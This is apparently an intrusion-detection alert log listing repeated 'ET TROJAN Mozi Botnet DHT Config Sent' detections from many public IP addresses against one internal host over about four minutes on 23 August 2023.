Classtype:	A Network Trojan was detected

ET TROJAN Mozi Botnet DHT Config Sent - Source IP: 178.72.70.210 - Destination IP: 192.168.2.3

Timestamp:	178.72.70.210192.168.2.35353234812030919 08/23/23-09:17:16.843859
SID:	2030919
Source Port:	5353
Destination Port:	23481
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Mozi Botnet DHT Config Sent - Source IP: 1.10.212.33 - Destination IP: 192.168.2.3

Timestamp:	1.10.212.33192.168.2.324583234812030919 08/23/23-09:18:33.449056
SID:	2030919
Source Port:	24583
Destination Port:	23481
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Mozi Botnet DHT Config Sent - Source IP: 45.139.215.163 - Destination IP: 192.168.2.3

Timestamp:	45.139.215.163192.168.2.320000234812030919 08/23/23-09:18:34.633612
SID:	2030919
Source Port:	20000
Destination Port:	23481
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Mozi Botnet DHT Config Sent - Source IP: 1.10.212.38 - Destination IP: 192.168.2.3

Timestamp:	1.10.212.38192.168.2.351059234812030919 08/23/23-09:18:27.413850
SID:	2030919
Source Port:	51059
Destination Port:	23481
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Mozi Botnet DHT Config Sent - Source IP: 1.10.212.37 - Destination IP: 192.168.2.3

Timestamp:	1.10.212.37192.168.2.322591234812030919 08/23/23-09:17:45.002955
SID:	2030919
Source Port:	22591
Destination Port:	23481
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Mozi Botnet DHT Config Sent - Source IP: 178.72.77.46 - Destination IP: 192.168.2.3

Timestamp:	178.72.77.46192.168.2.316805234812030919 08/23/23-09:16:56.454464
SID:	2030919
Source Port:	16805
Destination Port:	23481
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Mozi Botnet DHT Config Sent - Source IP: 178.72.68.199 - Destination IP: 192.168.2.3

Timestamp:	178.72.68.199192.168.2.37223234812030919 08/23/23-09:15:41.000451
SID:	2030919
Source Port:	7223
Destination Port:	23481
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Mozi Botnet DHT Config Sent - Source IP: 178.72.78.163 - Destination IP: 192.168.2.3

Timestamp:	178.72.78.163192.168.2.329242234812030919 08/23/23-09:15:44.212912
SID:	2030919
Source Port:	29242
Destination Port:	23481
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Mozi Botnet DHT Config Sent - Source IP: 178.72.76.110 - Destination IP: 192.168.2.3

Timestamp:	178.72.76.110192.168.2.32094234812030919 08/23/23-09:16:58.926803
SID:	2030919
Source Port:	2094
Destination Port:	23481
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Mozi Botnet DHT Config Sent - Source IP: 178.72.77.62 - Destination IP: 192.168.2.3

Timestamp:	178.72.77.62192.168.2.38625234812030919 08/23/23-09:18:34.616714
SID:	2030919
Source Port:	8625
Destination Port:	23481
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Mozi Botnet DHT Config Sent - Source IP: 178.72.77.139 - Destination IP: 192.168.2.3

Timestamp:	178.72.77.139192.168.2.324755234812030919 08/23/23-09:18:34.466698
SID:	2030919
Source Port:	24755
Destination Port:	23481
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Mozi Botnet DHT Config Sent - Source IP: 178.72.71.197 - Destination IP: 192.168.2.3

Timestamp:	178.72.71.197192.168.2.312289234812030919 08/23/23-09:15:37.391323
SID:	2030919
Source Port:	12289
Destination Port:	23481
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Mozi Botnet DHT Config Sent - Source IP: 178.72.70.72 - Destination IP: 192.168.2.3

Timestamp:	178.72.70.72192.168.2.312568234812030919 08/23/23-09:17:34.292439
SID:	2030919
Source Port:	12568
Destination Port:	23481
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Mozi Botnet DHT Config Sent - Source IP: 178.72.76.178 - Destination IP: 192.168.2.3

Timestamp:	178.72.76.178192.168.2.319776234812030919 08/23/23-09:18:23.607516
SID:	2030919
Source Port:	19776
Destination Port:	23481
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Mozi Botnet DHT Config Sent - Source IP: 178.72.81.154 - Destination IP: 192.168.2.3

Timestamp:	178.72.81.154192.168.2.329110234812030919 08/23/23-09:18:17.770813
SID:	2030919
Source Port:	29110
Destination Port:	23481
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Mozi Botnet DHT Config Sent - Source IP: 178.72.69.142 - Destination IP: 192.168.2.3

Timestamp:	178.72.69.142192.168.2.37207234812030919 08/23/23-09:18:24.920212
SID:	2030919
Source Port:	7207
Destination Port:	23481
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Mozi Botnet DHT Config Sent - Source IP: 59.127.228.113 - Destination IP: 192.168.2.3

Timestamp:	59.127.228.113192.168.2.34000234812030919 08/23/23-09:18:23.648904
SID:	2030919
Source Port:	4000
Destination Port:	23481
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Mozi Botnet DHT Config Sent - Source IP: 178.72.68.45 - Destination IP: 192.168.2.3

Timestamp:	178.72.68.45192.168.2.311558234812030919 08/23/23-09:16:12.681640
SID:	2030919
Source Port:	11558
Destination Port:	23481
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Mozi Botnet DHT Config Sent - Source IP: 14.0.200.85 - Destination IP: 192.168.2.3

Timestamp:	14.0.200.85192.168.2.311211234812030919 08/23/23-09:18:32.417205
SID:	2030919
Source Port:	11211
Destination Port:	23481
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Mozi Botnet DHT Config Sent - Source IP: 1.10.212.37 - Destination IP: 192.168.2.3

Timestamp:	1.10.212.37192.168.2.33261234812030919 08/23/23-09:15:45.741723
SID:	2030919
Source Port:	3261
Destination Port:	23481
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Mozi Botnet DHT Config Sent - Source IP: 178.72.76.237 - Destination IP: 192.168.2.3

Timestamp:	178.72.76.237192.168.2.36529234812030919 08/23/23-09:15:58.987491
SID:	2030919
Source Port:	6529
Destination Port:	23481
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Mozi Botnet DHT Config Sent - Source IP: 1.10.212.35 - Destination IP: 192.168.2.3

Timestamp:	1.10.212.35192.168.2.335615234812030919 08/23/23-09:17:39.053645
SID:	2030919
Source Port:	35615
Destination Port:	23481
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Mozi Botnet DHT Config Sent - Source IP: 95.24.4.104 - Destination IP: 192.168.2.3

Timestamp:	95.24.4.104192.168.2.362351234812030919 08/23/23-09:15:05.295286
SID:	2030919
Source Port:	62351
Destination Port:	23481
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Mozi Botnet DHT Config Sent - Source IP: 178.72.69.120 - Destination IP: 192.168.2.3

Timestamp:	178.72.69.120192.168.2.319478234812030919 08/23/23-09:18:22.390281
SID:	2030919
Source Port:	19478
Destination Port:	23481
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Mozi Botnet DHT Config Sent - Source IP: 178.141.203.66 - Destination IP: 192.168.2.3

Timestamp:	178.141.203.66192.168.2.330301234812030919 08/23/23-09:18:25.858518
SID:	2030919
Source Port:	30301
Destination Port:	23481
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Mozi Botnet DHT Config Sent - Source IP: 178.72.78.254 - Destination IP: 192.168.2.3

Timestamp:	178.72.78.254192.168.2.325740234812030919 08/23/23-09:18:33.375719
SID:	2030919
Source Port:	25740
Destination Port:	23481
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Mozi Botnet DHT Config Sent - Source IP: 178.72.71.109 - Destination IP: 192.168.2.3

Timestamp:	178.72.71.109192.168.2.326819234812030919 08/23/23-09:17:28.250058
SID:	2030919
Source Port:	26819
Destination Port:	23481
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Mozi Botnet DHT Config Sent - Source IP: 178.72.71.41 - Destination IP: 192.168.2.3

Timestamp:	178.72.71.41192.168.2.325615234812030919 08/23/23-09:17:26.853895
SID:	2030919
Source Port:	25615
Destination Port:	23481
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Mozi Botnet DHT Config Sent - Source IP: 178.72.78.163 - Destination IP: 192.168.2.3

Timestamp:	178.72.78.163192.168.2.326785234812030919 08/23/23-09:18:32.697014
SID:	2030919
Source Port:	26785
Destination Port:	23481
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Mozi Botnet DHT Config Sent - Source IP: 1.10.212.36 - Destination IP: 192.168.2.3

Timestamp:	1.10.212.36192.168.2.347432234812030919 08/23/23-09:18:34.400222
SID:	2030919
Source Port:	47432
Destination Port:	23481
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Mozi Botnet DHT Config Sent - Source IP: 95.24.1.68 - Destination IP: 192.168.2.3

Timestamp:	95.24.1.68192.168.2.38340234812030919 08/23/23-09:16:21.975711
SID:	2030919
Source Port:	8340
Destination Port:	23481
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Mozi Botnet DHT Config Sent - Source IP: 1.10.212.35 - Destination IP: 192.168.2.3

Timestamp:	1.10.212.35192.168.2.360528234812030919 08/23/23-09:18:34.063187
SID:	2030919
Source Port:	60528
Destination Port:	23481
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Mozi Botnet DHT Config Sent - Source IP: 178.72.81.115 - Destination IP: 192.168.2.3

Timestamp:	178.72.81.115192.168.2.36016234812030919 08/23/23-09:18:11.610944
SID:	2030919
Source Port:	6016
Destination Port:	23481
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Mozi Botnet DHT Config Sent - Source IP: 178.72.81.47 - Destination IP: 192.168.2.3

Timestamp:	178.72.81.47192.168.2.328229234812030919 08/23/23-09:18:31.205054
SID:	2030919
Source Port:	28229
Destination Port:	23481
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Mozi Botnet DHT Config Sent - Source IP: 200.59.72.210 - Destination IP: 192.168.2.3

Timestamp:	200.59.72.210192.168.2.33542234812030919 08/23/23-09:18:10.003629
SID:	2030919
Source Port:	3542
Destination Port:	23481
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Mozi Botnet DHT Config Sent - Source IP: 95.24.1.50 - Destination IP: 192.168.2.3

Timestamp:	95.24.1.50192.168.2.315688234812030919 08/23/23-09:17:48.742126
SID:	2030919
Source Port:	15688
Destination Port:	23481
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Mozi Botnet DHT Config Sent - Source IP: 201.221.109.75 - Destination IP: 192.168.2.3

Timestamp:	201.221.109.75192.168.2.34000234812030919 08/23/23-09:17:22.377991
SID:	2030919
Source Port:	4000
Destination Port:	23481
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Mozi Botnet DHT Config Sent - Source IP: 178.72.68.100 - Destination IP: 192.168.2.3

Timestamp:	178.72.68.100192.168.2.318001234812030919 08/23/23-09:18:20.344798
SID:	2030919
Source Port:	18001
Destination Port:	23481
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Mozi Botnet DHT Config Sent - Source IP: 178.72.71.108 - Destination IP: 192.168.2.3

Timestamp:	178.72.71.108192.168.2.34564234812030919 08/23/23-09:16:13.818448
SID:	2030919
Source Port:	4564
Destination Port:	23481
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Mozi Botnet DHT Config Sent - Source IP: 178.72.68.241 - Destination IP: 192.168.2.3

Timestamp:	178.72.68.241192.168.2.39482234812030919 08/23/23-09:18:25.876331
SID:	2030919
Source Port:	9482
Destination Port:	23481
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Mozi Botnet DHT Config Sent - Source IP: 61.41.230.161 - Destination IP: 192.168.2.3

Timestamp:	61.41.230.161192.168.2.311211234812030919 08/23/23-09:17:07.226199
SID:	2030919
Source Port:	11211
Destination Port:	23481
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Mozi Botnet DHT Config Sent - Source IP: 178.141.180.233 - Destination IP: 192.168.2.3

Timestamp:	178.141.180.233192.168.2.330301234812030919 08/23/23-09:18:06.652107
SID:	2030919
Source Port:	30301
Destination Port:	23481
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Mozi Botnet DHT Config Sent - Source IP: 178.72.77.119 - Destination IP: 192.168.2.3

Timestamp:	178.72.77.119192.168.2.31030234812030919 08/23/23-09:16:53.896377
SID:	2030919
Source Port:	1030
Destination Port:	23481
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Mozi Botnet DHT Config Sent - Source IP: 178.72.70.215 - Destination IP: 192.168.2.3

Timestamp:	178.72.70.215192.168.2.323681234812030919 08/23/23-09:18:15.375260
SID:	2030919
Source Port:	23681
Destination Port:	23481
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Mozi Botnet DHT Config Sent - Source IP: 178.72.75.83 - Destination IP: 192.168.2.3

Timestamp:	178.72.75.83192.168.2.313314234812030919 08/23/23-09:18:32.293571
SID:	2030919
Source Port:	13314
Destination Port:	23481
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Mozi Botnet DHT Config Sent - Source IP: 59.88.227.146 - Destination IP: 192.168.2.3

Timestamp:	59.88.227.146192.168.2.38080234812030919 08/23/23-09:17:24.678726
SID:	2030919
Source Port:	8080
Destination Port:	23481
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Mozi Botnet DHT Config Sent - Source IP: 160.153.235.195 - Destination IP: 192.168.2.3

Timestamp:	160.153.235.195192.168.2.322622234812030919 08/23/23-09:17:49.030933
SID:	2030919
Source Port:	22622
Destination Port:	23481
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Mozi Botnet DHT Config Sent - Source IP: 59.89.230.72 - Destination IP: 192.168.2.3

Timestamp:	59.89.230.72192.168.2.38081234812030919 08/23/23-09:17:52.018747
SID:	2030919
Source Port:	8081
Destination Port:	23481
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Mozi Botnet DHT Config Sent - Source IP: 178.72.70.158 - Destination IP: 192.168.2.3

Timestamp:	178.72.70.158192.168.2.311686234812030919 08/23/23-09:17:01.154297
SID:	2030919
Source Port:	11686
Destination Port:	23481
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Mozi Botnet DHT Config Sent - Source IP: 178.72.76.246 - Destination IP: 192.168.2.3

Timestamp:	178.72.76.246192.168.2.310279234812030919 08/23/23-09:18:33.371566
SID:	2030919
Source Port:	10279
Destination Port:	23481
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Mozi Botnet DHT Config Sent - Source IP: 178.72.68.79 - Destination IP: 192.168.2.3

Timestamp:	178.72.68.79192.168.2.35290234812030919 08/23/23-09:17:54.831552
SID:	2030919
Source Port:	5290
Destination Port:	23481
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Mozi Botnet DHT Config Sent - Source IP: 178.72.78.189 - Destination IP: 192.168.2.3

Timestamp:	178.72.78.189192.168.2.313733234812030919 08/23/23-09:16:58.925664
SID:	2030919
Source Port:	13733
Destination Port:	23481
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Mozi Botnet DHT Config Sent - Source IP: 1.10.212.33 - Destination IP: 192.168.2.3

Timestamp:	1.10.212.33192.168.2.37519234812030919 08/23/23-09:18:26.483578
SID:	2030919
Source Port:	7519
Destination Port:	23481
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Mozi Botnet DHT Config Sent - Source IP: 178.72.76.95 - Destination IP: 192.168.2.3

Timestamp:	178.72.76.95192.168.2.38293234812030919 08/23/23-09:18:03.914045
SID:	2030919
Source Port:	8293
Destination Port:	23481
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Mozi Botnet DHT Config Sent - Source IP: 178.141.241.252 - Destination IP: 192.168.2.3

Timestamp:	178.141.241.252192.168.2.34000234812030919 08/23/23-09:18:23.631743
SID:	2030919
Source Port:	4000
Destination Port:	23481
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Mozi Botnet DHT Config Sent - Source IP: 178.72.68.91 - Destination IP: 192.168.2.3

Timestamp:	178.72.68.91192.168.2.315781234812030919 08/23/23-09:18:26.787294
SID:	2030919
Source Port:	15781
Destination Port:	23481
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Mozi Botnet DHT Config Sent - Source IP: 95.24.9.46 - Destination IP: 192.168.2.3

Timestamp:	95.24.9.46192.168.2.329768234812030919 08/23/23-09:18:04.482337
SID:	2030919
Source Port:	29768
Destination Port:	23481
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Mozi Botnet DHT Config Sent - Source IP: 178.72.71.171 - Destination IP: 192.168.2.3

Timestamp:	178.72.71.171192.168.2.312562234812030919 08/23/23-09:18:14.286734
SID:	2030919
Source Port:	12562
Destination Port:	23481
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Mozi Botnet DHT Config Sent - Source IP: 178.72.69.50 - Destination IP: 192.168.2.3

Timestamp:	178.72.69.50192.168.2.311265234812030919 08/23/23-09:18:13.188221
SID:	2030919
Source Port:	11265
Destination Port:	23481
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Mozi Botnet DHT Config Sent - Source IP: 178.72.76.218 - Destination IP: 192.168.2.3

Timestamp:	178.72.76.218192.168.2.325375234812030919 08/23/23-09:15:24.526346
SID:	2030919
Source Port:	25375
Destination Port:	23481
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Mozi Botnet DHT Config Sent - Source IP: 117.211.44.93 - Destination IP: 192.168.2.3

Timestamp:	117.211.44.93192.168.2.38082234812030919 08/23/23-09:16:58.138494
SID:	2030919
Source Port:	8082
Destination Port:	23481
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Mozi Botnet DHT Config Sent - Source IP: 178.72.81.152 - Destination IP: 192.168.2.3

Timestamp:	178.72.81.152192.168.2.324955234812030919 08/23/23-09:17:53.057066
SID:	2030919
Source Port:	24955
Destination Port:	23481
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Mozi Botnet DHT Config Sent - Source IP: 150.117.7.70 - Destination IP: 192.168.2.3

Timestamp:	150.117.7.70192.168.2.38080234812030919 08/23/23-09:16:15.010897
SID:	2030919
Source Port:	8080
Destination Port:	23481
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Mozi Botnet DHT Config Sent - Source IP: 178.72.70.238 - Destination IP: 192.168.2.3

Timestamp:	178.72.70.238192.168.2.37665234812030919 08/23/23-09:18:32.300034
SID:	2030919
Source Port:	7665
Destination Port:	23481
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Mozi Botnet DHT Config Sent - Source IP: 178.72.69.219 - Destination IP: 192.168.2.3

Timestamp:	178.72.69.219192.168.2.36424234812030919 08/23/23-09:18:04.174067
SID:	2030919
Source Port:	6424
Destination Port:	23481
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Mozi Botnet DHT Config Sent - Source IP: 201.221.99.127 - Destination IP: 192.168.2.3

Timestamp:	201.221.99.127192.168.2.355434234812030919 08/23/23-09:18:34.676463
SID:	2030919
Source Port:	55434
Destination Port:	23481
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Mozi Botnet DHT Config Sent - Source IP: 170.51.110.84 - Destination IP: 192.168.2.3

Timestamp:	170.51.110.84192.168.2.322345234812030919 08/23/23-09:18:34.598474
SID:	2030919
Source Port:	22345
Destination Port:	23481
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Mozi Botnet DHT Config Sent - Source IP: 1.10.212.37 - Destination IP: 192.168.2.3

Timestamp:	1.10.212.37192.168.2.342986234812030919 08/23/23-09:17:37.295997
SID:	2030919
Source Port:	42986
Destination Port:	23481
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Mozi Botnet DHT Config Sent - Source IP: 95.24.7.165 - Destination IP: 192.168.2.3

Timestamp:	95.24.7.165192.168.2.330060234812030919 08/23/23-09:18:14.908813
SID:	2030919
Source Port:	30060
Destination Port:	23481
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Mozi Botnet DHT Config Sent - Source IP: 178.72.69.42 - Destination IP: 192.168.2.3

Timestamp:	178.72.69.42192.168.2.312827234812030919 08/23/23-09:16:22.900918
SID:	2030919
Source Port:	12827
Destination Port:	23481
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Mozi Botnet DHT Config Sent - Source IP: 178.72.70.248 - Destination IP: 192.168.2.3

Timestamp:	178.72.70.248192.168.2.318546234812030919 08/23/23-09:17:46.846434
SID:	2030919
Source Port:	18546
Destination Port:	23481
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Mozi Botnet DHT Config Sent - Source IP: 178.72.77.118 - Destination IP: 192.168.2.3

Timestamp:	178.72.77.118192.168.2.315426234812030919 08/23/23-09:17:57.096341
SID:	2030919
Source Port:	15426
Destination Port:	23481
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Mozi Botnet DHT Config Sent - Source IP: 178.72.77.71 - Destination IP: 192.168.2.3

Timestamp:	178.72.77.71192.168.2.37304234812030919 08/23/23-09:17:21.022618
SID:	2030919
Source Port:	7304
Destination Port:	23481
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Mozi Botnet DHT Config Sent - Source IP: 178.141.44.243 - Destination IP: 192.168.2.3

Timestamp:	178.141.44.243192.168.2.331371234812030919 08/23/23-09:18:32.671408
SID:	2030919
Source Port:	31371
Destination Port:	23481
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Mozi Botnet DHT Config Sent - Source IP: 45.139.215.112 - Destination IP: 192.168.2.3

Timestamp:	45.139.215.112192.168.2.311792234812030919 08/23/23-09:18:35.707710
SID:	2030919
Source Port:	11792
Destination Port:	23481
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Mozi Botnet DHT Config Sent - Source IP: 45.139.215.226 - Destination IP: 192.168.2.3

Timestamp:	45.139.215.226192.168.2.351342234812030919 08/23/23-09:15:53.512165
SID:	2030919
Source Port:	51342
Destination Port:	23481
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Mozi Botnet DHT Config Sent - Source IP: 178.72.68.249 - Destination IP: 192.168.2.3

Timestamp:	178.72.68.249192.168.2.320759234812030919 08/23/23-09:18:10.964493
SID:	2030919
Source Port:	20759
Destination Port:	23481
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Mozi Botnet DHT Config Sent - Source IP: 178.72.78.49 - Destination IP: 192.168.2.3

Timestamp:	178.72.78.49192.168.2.334994234812030919 08/23/23-09:18:00.517919
SID:	2030919
Source Port:	34994
Destination Port:	23481
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Mozi Botnet DHT Config Sent - Source IP: 178.72.77.130 - Destination IP: 192.168.2.3

Timestamp:	178.72.77.130192.168.2.316384234812030919 08/23/23-09:18:33.903868
SID:	2030919
Source Port:	16384
Destination Port:	23481
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Mozi Botnet DHT Config Sent - Source IP: 210.245.102.197 - Destination IP: 192.168.2.3

Timestamp:	210.245.102.197192.168.2.36881234812030919 08/23/23-09:18:35.449293
SID:	2030919
Source Port:	6881
Destination Port:	23481
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Mozi Botnet DHT Config Sent - Source IP: 178.72.77.226 - Destination IP: 192.168.2.3

Timestamp:	178.72.77.226192.168.2.311345234812030919 08/23/23-09:15:55.534623
SID:	2030919
Source Port:	11345
Destination Port:	23481
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Mozi Botnet DHT Config Sent - Source IP: 178.72.78.152 - Destination IP: 192.168.2.3

Timestamp:	178.72.78.152192.168.2.327144234812030919 08/23/23-09:15:44.206925
SID:	2030919
Source Port:	27144
Destination Port:	23481
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Mozi Botnet DHT Config Sent - Source IP: 1.10.212.35 - Destination IP: 192.168.2.3

Timestamp:	1.10.212.35192.168.2.320916234812030919 08/23/23-09:18:28.173494
SID:	2030919
Source Port:	20916
Destination Port:	23481
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Mozi Botnet DHT Config Sent - Source IP: 200.81.166.165 - Destination IP: 192.168.2.3

Timestamp:	200.81.166.165192.168.2.339352234812030919 08/23/23-09:18:12.564685
SID:	2030919
Source Port:	39352
Destination Port:	23481
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Mozi Botnet DHT Config Sent - Source IP: 190.80.24.228 - Destination IP: 192.168.2.3

Timestamp:	190.80.24.228192.168.2.317453234812030919 08/23/23-09:18:33.013194
SID:	2030919
Source Port:	17453
Destination Port:	23481
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Mozi Botnet DHT Config Sent - Source IP: 178.72.78.86 - Destination IP: 192.168.2.3

Timestamp:	178.72.78.86192.168.2.32484234812030919 08/23/23-09:18:33.041112
SID:	2030919
Source Port:	2484
Destination Port:	23481
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Mozi Botnet DHT Config Sent - Source IP: 178.72.68.171 - Destination IP: 192.168.2.3

Timestamp:	178.72.68.171192.168.2.319463234812030919 08/23/23-09:18:23.653689
SID:	2030919
Source Port:	19463
Destination Port:	23481
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Mozi Botnet DHT Config Sent - Source IP: 178.141.214.213 - Destination IP: 192.168.2.3

Timestamp:	178.141.214.213192.168.2.311857234812030919 08/23/23-09:17:49.089974
SID:	2030919
Source Port:	11857
Destination Port:	23481
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Mozi Botnet DHT Config Sent - Source IP: 178.72.78.161 - Destination IP: 192.168.2.3

Timestamp:	178.72.78.161192.168.2.334769234812030919 08/23/23-09:17:50.217653
SID:	2030919
Source Port:	34769
Destination Port:	23481
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Mozi Botnet DHT Config Sent - Source IP: 178.72.81.226 - Destination IP: 192.168.2.3

Timestamp:	178.72.81.226192.168.2.324780234812030919 08/23/23-09:17:58.387779
SID:	2030919
Source Port:	24780
Destination Port:	23481
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Mozi Botnet DHT Config Sent - Source IP: 178.72.68.175 - Destination IP: 192.168.2.3

Timestamp:	178.72.68.175192.168.2.35532234812030919 08/23/23-09:18:27.991285
SID:	2030919
Source Port:	5532
Destination Port:	23481
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Mozi Botnet DHT Config Sent - Source IP: 178.72.75.35 - Destination IP: 192.168.2.3

Timestamp:	178.72.75.35192.168.2.327555234812030919 08/23/23-09:18:26.900400
SID:	2030919
Source Port:	27555
Destination Port:	23481
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Mozi Botnet DHT Config Sent - Source IP: 201.221.109.23 - Destination IP: 192.168.2.3

Timestamp:	201.221.109.23192.168.2.35353234812030919 08/23/23-09:18:12.611596
SID:	2030919
Source Port:	5353
Destination Port:	23481
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Mozi Botnet DHT Config Sent - Source IP: 178.141.162.19 - Destination IP: 192.168.2.3

Timestamp:	178.141.162.19192.168.2.328319234812030919 08/23/23-09:18:15.403380
SID:	2030919
Source Port:	28319
Destination Port:	23481
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Mozi Botnet DHT Config Sent - Source IP: 178.72.77.134 - Destination IP: 192.168.2.3

Timestamp:	178.72.77.134192.168.2.324778234812030919 08/23/23-09:16:18.381546
SID:	2030919
Source Port:	24778
Destination Port:	23481
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Mozi Botnet DHT Config Sent - Source IP: 95.24.61.130 - Destination IP: 192.168.2.3

Timestamp:	95.24.61.130192.168.2.39989234812030919 08/23/23-09:17:52.157932
SID:	2030919
Source Port:	9989
Destination Port:	23481
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Mozi Botnet DHT Config Sent - Source IP: 122.160.115.155 - Destination IP: 192.168.2.3

Timestamp:	122.160.115.155192.168.2.317411234812030919 08/23/23-09:18:34.547123
SID:	2030919
Source Port:	17411
Destination Port:	23481
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Mozi Botnet DHT Config Sent - Source IP: 1.10.212.35 - Destination IP: 192.168.2.3

Timestamp:	1.10.212.35192.168.2.36584234812030919 08/23/23-09:18:31.994398
SID:	2030919
Source Port:	6584
Destination Port:	23481
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Mozi Botnet DHT Config Sent - Source IP: 200.6.88.177 - Destination IP: 192.168.2.3

Timestamp:	200.6.88.177192.168.2.316311234812030919 08/23/23-09:18:18.010359
SID:	2030919
Source Port:	16311
Destination Port:	23481
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Mozi Botnet DHT Config Sent - Source IP: 1.10.212.34 - Destination IP: 192.168.2.3

Timestamp:	1.10.212.34192.168.2.329509234812030919 08/23/23-09:18:35.544139
SID:	2030919
Source Port:	29509
Destination Port:	23481
Protocol:	UDP
